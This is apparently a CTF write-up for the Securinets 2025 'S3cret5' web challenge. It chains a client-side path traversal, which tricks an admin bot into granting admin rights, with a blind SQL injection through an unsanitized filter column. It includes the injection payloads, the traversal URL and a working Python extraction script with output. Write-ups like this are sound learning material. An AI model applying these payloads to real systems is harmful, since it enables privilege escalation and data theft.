Post

Securinets CTF 2025 S3cret5 Write Up

there were 2 web challs but i just solved one chall which didn’t have many solver (it wasn’t there at first haha but it increased later haha was easy chall..)

Where is the flag

1
2
3
4
5
6
7
8
9
CREATE TABLE IF NOT EXISTS flags (
  id SERIAL PRIMARY KEY,
  flag TEXT NOT NULL
);

// (...)

INSERT INTO flags (flag)
VALUES ('Securinets{fake}');

the flag was saved in the flags table, and there was no feature that used it after getting the flag so i need to find sql injection

SQL Injection (Blind)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
  findAll: async (filterField = null, keyword = null) => {
    const { clause, params } = filterHelper("msgs", filterField, keyword);

    const query = `
      SELECT msgs.id, msgs.msg, msgs.type, msgs.createdAt, users.username
      FROM msgs
      INNER JOIN users ON msgs.userId = users.id
      ${clause || ""}
      ORDER BY msgs.createdAt DESC
    `;


    const res = await db.query(query, params || []);
    return res.rows;
  },
  
  // (...)
  
function filterBy(table, filterBy, keyword, paramIndexStart = 1) {
  if (!filterBy || !keyword) {
    return { clause: "", params: [] };
  }

  const clause = ` WHERE ${table}."${filterBy}" LIKE $${paramIndexStart}`;
  const params = [`%${keyword}%`];

  return { clause, params };
}

the findAll() function of the admin was vulnerable to sql injection. the query used was connected with a clause which returned via the filterHelper() function but when generate where statement in the filterBy() function, the filterBy value was used without sanitizing. sql injection occur due to this logic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
exports.showMsgs = async (req, res) => {
  if (req.user.role !== "admin") {
    return res.status(403).send("Access denied");
  }

  const { filterBy: filterField, keyword } = req.body;

  try {
    const rows = await Msg.findAll(filterField, keyword);
    
    res.render("admin-msgs", {
      msgs: rows,
      filterBy: filterField,
      keyword,
      csrfToken: req.csrfToken(),
    });
  } catch (err) {
    res.status(400).send("Bad request");
  }
};

and the findAll() function was called in showMsgs, and the findAll() function was called in showMsgs, and was allowed to be used by only admin. but there is not any chance to get an anccount as admin

PE (Path Traversal)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
exports.addAdmin = async (req, res) => {
  try {
    const { userId } = req.body;

    if (req.user.role !== "admin") {
      return res.status(403).json({ error: "Access denied" });
    }

    const updatedUser = await User.updateRole(userId, "admin");
    res.json({ message: "Role updated", user: updatedUser });
  } catch (err) {
    console.error(err);
    res.status(500).json({ error: "Failed to update role" });
  }
};

// =================================================================

router.post("/addAdmin", authMiddleware, userController.addAdmin);

there was one feature to update the role as admin, if we can call it, our account can be updated as admin via the User.updateRole(userId, “admin”). but it also was allowed to be used by only admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    const urlParams = new URLSearchParams(window.location.search);
    const profileIds = urlParams.getAll("id");
    const profileId = profileIds[profileIds.length - 1]; 

    
      fetch("/log/"+profileId, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        credentials: "include",
        body: JSON.stringify({
          userId: "<%= user.id %>", 
          action: "Visited user profile with id=" + profileId,
          _csrf: csrfToken
        })
      })
      .then(res => res.json())
      .then(json => console.log("Log created:", json))
      .catch(err => console.error("Log error:", err));
      
// profile.ejs
// http://web1-79e4a3bc.p1.securinets.tn/user/profile/?id=id

if we visit to /user/profile/?id=id, the fetch(“/log/”+profileId~) function will be called in profile.ejs. and actually when it gets profileId value, it doesn’t check that profileId is a number or not

so if the id is like “123/../../admin/addAdmin”, fetch() function will request to /admin/addAdmin via client-side path traversal with the body data: userId as post method

so just send a url like “http://localhost:3000/user/profile/?id=1234/../../admin/addAdmin” to admin bot, we can update our role as admin (should log out then log in again)

PoC (blind based sqli)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import string

chall_url = "http://web1-79e4a3bc.p1.securinets.tn/admin/msgs"
chars = list(string.ascii_lowercase + string.digits)

cookies = {
        "_csrf":"Eefifz6Fk-2UkEA_kMpmcNRo",
        "token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc1OTc4MDQ1MSwiZXhwIjoxNzU5Nzg0MDUxfQ.DHp9FjqLNDoZHW4t2iHtxMIN58_WSpREXwFpqB_Le0s"
    }
_csrf = "1ukXyBbG-6cdNhv8t58knxtpeatbpXVPn6LiqY4xDkcWp4PpLyzI"

flag_len = 0
flag = "Securinets{"
start_index = len("Securinets{") + 1

base = "type\" like $1 OR ({}) --"
payload_1 = "select length(flag) > {} from flags fetch first 1 row only"
payload_2 = "select ascii(substring(flag, {}, 1)) > {} from flags fetch first 1 row only"

for i in range(1, 50):
    payload = base.format(payload_1.format(i))
    res = requests.post(chall_url, cookies=cookies, data={"_csrf":_csrf, "filterBy":payload, "keyword":"fffff"})
    if "general" not in res.text:
        flag_len = i
        break

print("[+] flag length is {}".format(flag_len))

for i in range(start_index, flag_len + 1):
    for j in range(48, 123):
        payload = base.format(payload_2.format(i, j))
        res = requests.post(chall_url, cookies=cookies, data={"_csrf":_csrf, "filterBy":payload, "keyword":"fffff"})
        if "general" not in res.text:
            flag += chr(j)
            print("[+] flag is like {}".format(flag))
            break

print("[+] flag is {}".format(flag))

so i wrote the poc for blind based sqli (faster when using binary search)

1
2
3
4
5
6
7
8
9
10
11
12
❯ python3 poc.py
[+] flag length is 44
[+] flag is like Securinets{2
[+] flag is like Securinets{23
[+] flag is like Securinets{239
[+] flag is like Securinets{239c
(...)
[+] flag is like Securinets{239c12b45ff0ff9fbd477bd9e754e
[+] flag is like Securinets{239c12b45ff0ff9fbd477bd9e754ed
[+] flag is like Securinets{239c12b45ff0ff9fbd477bd9e754ed1
[+] flag is like Securinets{239c12b45ff0ff9fbd477bd9e754ed13
[+] flag is Securinets{239c12b45ff0ff9fbd477bd9e754ed13}

btw i recommend another web chall: Dreamboard, this challenge also will be used client-side path traversal

This post is licensed under CC BY 4.0 by the author.

Trending Tags